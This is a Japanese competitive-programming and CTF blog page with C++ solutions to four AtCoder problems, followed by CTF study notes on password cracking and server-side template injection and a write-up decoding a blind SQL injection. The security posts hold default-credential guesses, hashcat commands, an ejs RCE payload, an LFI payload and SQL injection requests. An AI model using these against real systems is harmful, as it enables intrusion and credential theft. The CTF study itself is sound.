はまやんはまやんはまやん

hamayanhamayan's blog

Keep Distances [ACL Contest 1 D]

https://atcoder.jp/contests/acl1/tasks/acl1_d

解説

https://atcoder.jp/contests/acl1/submissions/16924046

強実装問題。

クエリ問題は1クエリではどう解くかを考えよう

まずは1つのクエリに対してどうやって解くかを考えていこう。
「よい集合の和集合のサイズ」という珍しい条件は一旦忘れて、
条件を満たす部分集合の個数を最大化する方法を考える。
これは先頭の点から貪欲に距離がK以上となるように選択していくことで、
取れる点の個数を最大化できる。
色々実験してみると、区間にある頂点で1番目として使用できる数、2番目として使用できる数は、
ちょうど区間になっていて、かつ、独立であることが分かる。
しかも、区間の先頭から貪欲に取ったときの数が各番目として使用できる区間の左端となっていて、
区間の末尾から貪欲に取ったときの数が各番目として使用できる区間の右端となっている。

もう少し分割して考える

各クエリの答えは以下のようになる。
(右端から貪欲で取っていった座標の総和) - (左端から貪欲で取っていった座標の総和) + (集合の最大サイズ)
最初の2つはほぼ同じような計算をするので、まとめて考える。

集合の最大サイズ

ダブリングを使う。
toR[p][i] := 座標iから2p回距離K以上を保ったまま貪欲に移動したときの移動先
これを構築していく。
これが分かれば、二分探索っぽい感じにすることで区間の左端から何回移動できるかを計算することができる。
こっちはダブリングの一般的な用法なので、これはいいだろう。

左端から貪欲で取っていった座標の総和

こっちもダブリングで計算しよう。
こっちの計算がだいぶ大変。
totR[p][i] := 座標iから2p回距離K以上を保ったまま貪欲に移動したときの移動した座標の総和
これもダブリングと、toR配列を使えば計算可能。
クエリ計算で使用するときは、移動回数が分かっているので、その移動回数を20, 21, 22のように分割して、
この配列を使って数え上げていけばいい。

int N, K, X[201010];
int Q;
//---------------------------------------------------------------------------------------------------
int toRight[201010], toLeft[201010];
int toR[19][201010], toL[19][201010];
int totR[19][201010], totL[19][201010];
//---------------------------------------------------------------------------------------------------
int getTot(int L, int R) {
    int res = 1;
    int cu = L;
    rrep(p, 18, 0) {
        if (toR[p][cu] <= R) {
            res += 1 << p;
            cu = toR[p][cu];
        }
    }
    return res;
}
int getRight(int L, int R) {
    int cnt = getTot(L, R);

    ll tot = R; cnt--;
    int cu = R;
    rep(p, 0, 19) if (cnt & (1 << p)) {
        tot += totL[p][cu];
        cu = toL[p][cu];
    }

    return tot;
}
int getLeft(int L, int R) {
    int cnt = getTot(L, R);

    ll tot = L; cnt--;
    int cu = L;
    rep(p, 0, 19) if (cnt & (1 << p)) {
        tot += totR[p][cu];
        cu = toR[p][cu];
    }

    return tot;
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> K;
    rep(i, 0, N) cin >> X[i];
    cin >> Q;

    rep(i, 0, N) toRight[i] = lower_bound(X, X + N, X[i] + K) - X;
    rep(i, 0, N) {
        int id = upper_bound(X, X + N, X[i] - K) - X;
        toLeft[i] = id - 1;
    }

    rep(p, 0, 19) toR[p][N] = N;
    rep(i, 0, N) toR[0][i] = toRight[i];
    rep(p, 1, 19) rep(i, 0, N) toR[p][i] = toR[p - 1][toR[p - 1][i]];

    rep(i, 0, N) totR[0][i] = toR[0][i];
    rep(p, 1, 19) rep(i, 0, N) totR[p][i] = totR[p - 1][i] + totR[p - 1][toR[p - 1][i]];

    rep(i, 0, N) toL[0][i] = toLeft[i];
    rep(p, 1, 19) rep(i, 0, N) {
        if (toL[p - 1][i] < 0) toL[p][i] = -1;
        else toL[p][i] = toL[p - 1][toL[p - 1][i]];
    }

    rep(i, 0, N) totL[0][i] = toL[0][i];
    rep(p, 1, 19) rep(i, 0, N) {
        if (toL[p - 1][i] < 0) totL[p][i] = totL[p - 1][i];
        else totL[p][i] = totL[p - 1][i] + totL[p - 1][toL[p - 1][i]];
    }

    rep(q, 0, Q) {
        int L, R; cin >> L >> R;
        L--; R--;
        ll ans = getRight(L, R) - getLeft(L, R) + getTot(L, R);
        printf("%lld\n", ans);
    }

}

Moving Pieces [ACL Contest 1 C]

https://atcoder.jp/contests/acl1/tasks/acl1_c

解説

https://atcoder.jp/contests/acl1/submissions/16923883

ACLコンテストということで、最小費用流が何とか出てきた。
ACLじゃなきゃ思いついていないかも。
最小費用流が分からない場合は、先にどこかで学習しよう。

何から手を付ける?

正直発想がなければ手を付けようがない問題に見える。
N,Mが異常に小さいというのと、とても単純な例でもだいぶきついので、
DPとか貪欲とかそんな次元じゃない感じがする。

最終的にはどこに移動するか

ある駒が最終的にどこに移動するかが分かっているとする。
ある駒がどこに移動するかが分かっていれば、それに必要な操作回数は定まる。
これは駒の最初の場所からBFSで距離を前計算しておく。

これをすべての駒について考えると、全ての駒の移動先が分かっていれば、操作回数の総和も分かる。
なので、過程はともあれ、どこに移動するかというのを考えてみることにする。
すると、これはマッチング問題に似ていることに気がつく。
これは最小費用流で解けそうだ。

最小費用流

以下のルートで最小費用流を流そう。
始点 -> 駒 -> 移動先の座標 -> 終点
2部マッチングのような雰囲気でフローを作る。

始点 -> 駒:コスト0, 流量1
駒 -> 移動先の座標 : コスト操作回数、流量1
移動先の座標 -> 終点:コスト0, 流量1

こういう感じに辺をはって駒の個数分流量を流して、コストの最大値をとれば答えになる。
最小費用流では最小化されてしまうので、コストをマイナスにして、
ACLにある最小費用流のライブラリでは負のコストは許されてないので、一律で109あたりを足して正にして流す。

int H, W;
string S[50];
vector<pair<int,int>> circles;
int dist[101][50][50];
ll BASE = inf;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> H >> W;
    rep(y, 0, H) cin >> S[y];

    int id = 0;
    rep(y, 0, H) rep(x, 0, W) if (S[y][x] == 'o') {
        circles.push_back({ x, y });
        rep(xx, 0, W) rep(yy, 0, H) dist[id][yy][xx] = inf;
        queue<tuple<int,int, int>> que;

        dist[id][y][x] = 0;
        que.push(make_tuple(x, y, 0));
        while (!que.empty()) {
            int x, y, cst;
            tie(x, y, cst) = que.front(); que.pop();

            if (x + 1 < W && S[y][x + 1] != '#' && dist[id][y][x + 1] == inf) {
                dist[id][y][x + 1] = cst + 1;
                que.push(make_tuple(x + 1, y, cst + 1));
            }

            if (y + 1 < H && S[y + 1][x] != '#' && dist[id][y + 1][x] == inf) {
                dist[id][y + 1][x] = cst + 1;
                que.push(make_tuple(x, y + 1, cst + 1));
            }
        }

        id++;
    }

    mcf_graph<int, ll> g(H * W + id + 2);
    int st = H * W + id;
    int gl = st + 1;

    rep(i, 0, id) {
        g.add_edge(st, H * W + i, 1, 0);
        rep(y, 0, H) rep(x, 0, W) if (dist[i][y][x] < inf) g.add_edge(H * W + i, y * W + x, 1, BASE - dist[i][y][x]);
    }
    rep(y, 0, H) rep(x, 0, W) if (S[y][x] != '#') g.add_edge(y * W + x, gl, 1, 0);
    
    ll ans = -(g.flow(st, gl).second - BASE * id);
    cout << ans << endl;
}

Sum is Multiple [ACL Contest 1 B]

https://atcoder.jp/contests/acl1/tasks/acl1_b

解説

https://atcoder.jp/contests/acl1/submissions/16923688

1h考えてmodのもの字も出てこなかった…
大学受験で出てきそうな問題。

言い換え

この言い換えはできた。
(1+2+...+K)=aN
K(K+1)/2=aN
K(K+1)=2aN
これを満たす最小のKが答えになる。

約数で分割する

右辺の2aNをKとK+1に分割するようなイメージ。
aは倍数ということで勝手につけたものなので、そこではなく固定されている2Nを起点に考える。
2Nを素因数分解したときに、その素因数がKとK+1に分かれることになる。
どのように分かれるかというのはわからないので、ここは全探索することにしよう。
実際は素因数というより約数で考える方がスムーズ。
2Nの約数xがKに属する、もう片方のy=2N/xがK+1に属すると考える。

だが、注意するべきなのは、「属する」というのは倍数になるという部分である。
結局、倍数じゃないか。なんとかならないか。

modで考える

さっきのように変数aを使うのではなく、modを使って倍数を対処しよう。

Kがxの倍数であるというのは、K=0 (mod x)と考えることができる。
modが分かれば何となく分かるだろう。
K+1がyの倍数であるというのは、K+1=0 (mod y)と考えることができる。
公式解説ではK=-1 (mod y)とされている。

これで2つの合同式が得られた訳だが、合同式から元の数を復元する方法がある。
CRTだ。

CRT

中国人剰余定理の頭文字。
内容については、ググってもらうことにして、2つの合同式があれば、変数の値を復元できる。
よって、
K=0 (mod x)
K=-1 (mod y)
が分かっていれば、Kの値がmod xyで分かる。
中国の剰余定理 - Wikipedia
ここの補助定理にもあるようにx,yが互いに素であれば一意に存在する。
今回の全探索では互いに素でないパターンも試すことになるが、解がうまく出せないだけで、
全パターンの中に互いに素となるものがあるので問題ない。
あと、連続する2つの整数は互いに素であることが言えるので、答えを導けるx,yも互いに素である必要があるってのもある。

ll N;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;

    ll ans = infl;
    auto ed = enumdiv(2 * N);
    fore(x, ed) {
        ll y = 2 * N / x;

        vector<ll> r(2), m(2);
        r[0] = 0, m[0] = x;
        r[1] = -1, m[1] = y;

        auto p = crt(r, m);
        if (p.first != 0 && p.second != 0) chmin(ans, p.first);
    }

    cout << ans << endl;
}

Reachable Towns [ACL Contest 1 A]

https://atcoder.jp/contests/acl1/tasks/acl1_a

解説

https://atcoder.jp/contests/acl1/submissions/16923085

まず、x,y座標がともに小さい街への移動と、x,y座標がともに大きい街への移動は
片方ができればもう片方もできるような移動になっている。
かつ、a->bで移動ができ、b->cで移動ができれば、a->cへの移動もできる。
つまり移動できる範囲は、グラフで考えると連結である範囲となる。
答えは連結な街の数となっている、これはUnionFindで達成できそうだ。

UnionFindで移動可能な頂点を連結する

いかに連結を行っていくかであるが、全組合せ1010通りになるので間に合わない。
ここで、2つの移動を考えると大変なので、x,y座標がともに小さい街への移動のみを考えることにする。
ある街P(px, py)に連結な街Q(qx, qy)は、qx<pxかつqy<pyであればいい。
効率的に行うには何かを固定するしかない。

x座標昇順でマージしていく

x座標昇順でソートした街を順番に評価していこう。
こうすることである街Pと連結する街は、これまでに処理した街に限られ、
かつ、これまでに処理した街の中でy座標がPよりも小さい街を取ってくればよくなる。
よってマージ処理を行っていくが、setを使って、y座標を保存しておこう。

だが、このままだと、マージ処理を行っていっても、結局全探索のような感じになる。
なので、マージ処理を行った街は1つにまとめることにしよう。
マージ処理ごとに街をまとめると、1マージで1つ街が消えるので、ならし最大N-1回で済む。

マージ後にどれを残すか

マージ後に頂点がある中で最も後のマージに使える点はどれだろうか。
マージするときに、それよりもy座標が小さい座標であればマージができる。
つまり、既にあるマージ後の街のグループの中で最もy座標が小さいものがマージの可能性がある。
なので、マージ後には最もy座標が小さいものを残しておけば問題ない。

実装はちょっと大変だが、setにはy座標だけでなく、街の添え字も乗っけておく。

int N;
vector<tuple<int, int, int>> points;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;
    rep(i, 0, N) {
        int x, y; cin >> x >> y;
        points.push_back(make_tuple( x, y, i ));
    }
    sort(all(points));

    set<pair<int, int>> rest;
    dsu uf(N);
    rep(i, 0, N) {
        int x, y, id;
        tie(x, y, id) = points[i];
        while (0 < rest.size()) {
            auto ite = rest.lower_bound({ y, -1 });
            if (ite != rest.begin()) {
                ite--;
                uf.merge(ite->second, id);
                y = ite->first;
                rest.erase(ite);
            }
            else {
                break;
            }
        }
        rest.insert({ y, id });
    }

    rep(i, 0, N) printf("%d\n", uf.size(i));
}

Webセキュリティにおけるパスワードクラック問題への傾向と対策

本まとめはセキュリティコンテスト(CTF)で使えるまとめを目指すのが主です。
悪用しないこと。勝手に普通のサーバで試行すると犯罪っぽいです。

パスワードクラック

CTFの問題ではパスワードクラックを要求する問題もある。パスワードクラックと言っても2種類ある。

ログイン試行を突破する

  • 推測で入れてみる
    • 本当に適当に入れてみる。CTFでは推測でこんなユーザーパスがあるのでは?で入れると通ったりする
    • guest:guest user:password admin:admin
  • 初期ユーザーパスワードで入れてみる
    • phpmyadmin
      • root:が初期値なので、変更しないとこれでログイン可能。ユーザー名がrootでパスワードが空白
  • 辞書攻撃
    • パスワードはみなよくある文字列を使ってしまう傾向があるようだ
    • よく使われるパスワードについて辞書を用意しておき、かたっぱしから試行すると成功する場合がある
    • https://wiki.skullsecurity.org/Passwords
      • ここで紹介されてるrockyou.txtがよく使われる。
      • なお、14,341,564(15 millionある)
      • 手元での解析で主に使用される
    • https://github.com/rootphantomer/Blasting_dictionary/blob/master/%E5%B8%B8%E7%94%A8%E5%AF%86%E7%A0%81.txt
      • Webサイトの辞書攻撃で使われててた
      • burpでやるとき
        1. Intruderに送る
        2. Positionsで入れ替えたい部分を$pass$とする
        3. PayloadsでSimple listにして、Load...でファイル読み込む(tools/webpass.txt)
        4. Start attackする
        5. Lengthが異なるものが大体答え
  • 総当たり

ハッシュ値の原文の特定・署名の秘密鍵の特定

ツール

pythonでゴリゴリ書いてもいいが、どうしても遅いのでクラッカーを積極的に使用しよう。

hashcat

パスワードクラッカー、早い。
全探索でcrackするときは、pythonとか使わずにこっち使おう。

使用例 hashcat.exe 530bd2d24bff2d77276c4117dc1fc719 -a 3 ?d?d?d-?d?d?d-?d?d?d?d
530bd2d24bff2d77276c4117dc1fc719:目標ハッシュ
-a 3:3はモード3でマスクアタックのこと
?d?d?d-?d?d?d-?d?d?d?d:はマスクの中身で、?dで整数値。この例だと111-111-1111みたいなのをマッチングする

ハッシュ関数を変えたいときは-mで変える。
https://hashcat.net/wiki/doku.php?id=hashcat
ここに対応表が書いてあるので、md5(md5(pass))であれば-m 2600のように指定する。

原文がアラビア語の場合のクラック

Bitcrack's Bl0g: Cracking Hashes with Other Language Character Sets

具体的には、
./hashcat.exe 58970d579d25f7288599fcd709b3ded3 --hex-charset -1 d8d9 -2 8182838485868788898aa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebf -a 3 ?1?2?1?2?1?2?1?2?1?2?1?2 -o result.txt
のようにやる。
出力はコンソールだとうまく出てこないので、txtに吐く
パターンは?1?2で1文字

↑のやつはアラビア文字に絞っているみたいで、もうちょっと広い範囲で試したいなら下。
hashcat.exe 58970d579d25f7288599fcd709b3ded3 --hex-charset -1 d8d9dadb -2 808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebf -a 3 ?1?2?1?2?1?2?1?2?1?2?1?2 -o result.txt

Jack The Ripper

パスワードの総合的なクラックツール。

CTF Writeups

工事中

Practicalな話

実装時に気を付けること

ハッシュ化して保存しておく場合は長めのソルトをつけよう。

(CTFじゃ使えないけど)テストツール

Jack The Ripper, Hashcat

WebセキュリティにおけるSSTI問題への傾向と対策 [Server-Side Template Injection]

本まとめはセキュリティコンテスト(CTF)で使えるまとめを目指すのが主です。
悪用しないこと。勝手に普通のサーバで試行すると犯罪っぽいです。

Server-Side Template Injection

テンプレートエンジンというものがある。 データの表示場所を埋め込んだhtmlなどのテンプレートに対して、適切に変数の中身を埋め込んで出力するエンジンのこと。 この機能を悪用し、悪意ある文字列を入力することで、意図しない変数の中身を表示したり、RCEを起こしたりする脆弱性

Python

以下、見たことあるペイロード

% import os
{{os.listdir(path='/')}}

% for v in dir():
  {{v}}
% end

% for v in dir(__builtins__):
  {{v}}
% end

% for v in __builtins__:
  {{v}}
% end

% for v in __builtins__.values():
  {{v}}
% end

Java

  • Thymeleaf
    • <td th:utext="${fish.name}">という感じの記法

javascript, node.js

  • Handlebars
    • {{変数名}}で変数の中身を出せる
    • グローバル変数の中身全部出る {{#each this}}{{@key}} => {{this.toString}}<br>{{/each}}
    • 参考になる → Built-in Helpers | Handlebars
    • registerPartialで指定されているレジスタを出力したいとき
      • hbs.registerPartial('FLAG', FLAG);とあれば、{{> FLAG}}
  • ejs
    • RCE <%- global.process.mainModule.require('child_process').execSync('cat app.js') %>
    • LFI <%- include('../../../app.js') %>

CTF Writeups

Practicalな話

実装時に気を付けること

気を付けようが無い気がする。 問題で{}サニタイズするようなものがあるが、バイパスする問題ばっかりだしなぉ…

(CTFじゃ使えないけど)テストツール

知らない。

limited [InterKosenCTF2020]

limited
Our website had been attacked by someone. Did the attacker successfully steal the admin's secret?
author:theoremoon

パケットを見てみよう

WireSharkで見てみると、GETリクエストが大量に飛んでいる。
とりあえず、GETリクエストを全て取得してみて、色々見てみる。
攻撃者のGETリクエストパラメタを見てみよう…

search.php?keyword=&search_max=(SELECT unicode(substr(secret, 1, 1)) FROM account WHERE name="admin") % 11                        
search.php?keyword=&search_max=(SELECT unicode(substr(secret, 1, 1)) FROM account WHERE name="admin") % 13                        
...             
search.php?keyword=&search_max=(SELECT unicode(substr(secret, 9, 1)) FROM account WHERE name="admin") % 23                        
search.php?keyword=&search_max=(SELECT unicode(substr(secret, 9, 1)) FROM account WHERE name="admin") % 5

あー、なるほど、これは…
Blind SQL Injectionであるが、特定方法が珍しい。
中国人剰余定理を使用して、asciiコードを特定しようとしている。
かなり量があるので、スクリプトを書こう。

何文字目でmodが何で結果が何かを取ってくるスクリプト

import glob
import urllib.parse
import re

print(f"idx mod cnt")
for filename in glob.glob("./limited/http/*"):
    #print(filename)

    req = urllib.parse.unquote(filename[51:]).replace('+', ' ')
    #print(f"req: {req}")

    m = re.match(r'SELECT unicode\(substr\(secret, ([0-9]*), 1\)\) FROM account WHERE name="admin"\) % ([0-9]*)', req)
    
    idx = m.group(1)
    mod = m.group(2)
    cnt = 0

    with open(filename) as f:
        for line in f.readlines():
            if '<th scope="row">' in line:
                cnt += 1

    print(f"{idx} {mod} {cnt}")

まあ、頑張って書く。
あとは各文字毎に中国人剰余定理をするだけ。
自分は競技プログラミングC++向けにライブラリを持ってるので、pythonでは抽出だけ担当して、後はC++でやった。

あまり参考にならないけど、こんな感じ

void _main() {
    map<int, vector<pair<int, int>>> group;
    int idx, m, a;
    while (cin >> idx >> m >> a) group[idx].push_back({ a, m });

    fore(p, group) {
        CRT crt;
        fore(p2, p.second) crt.add(p2.first, p2.second);
        char c = char(crt.solve());
        printf("%c", c);
    }
}

Capture the flag.
KosenCTF{u_c4n_us3_CRT_f0r_LIMIT_1nj3ct10n_p01nt}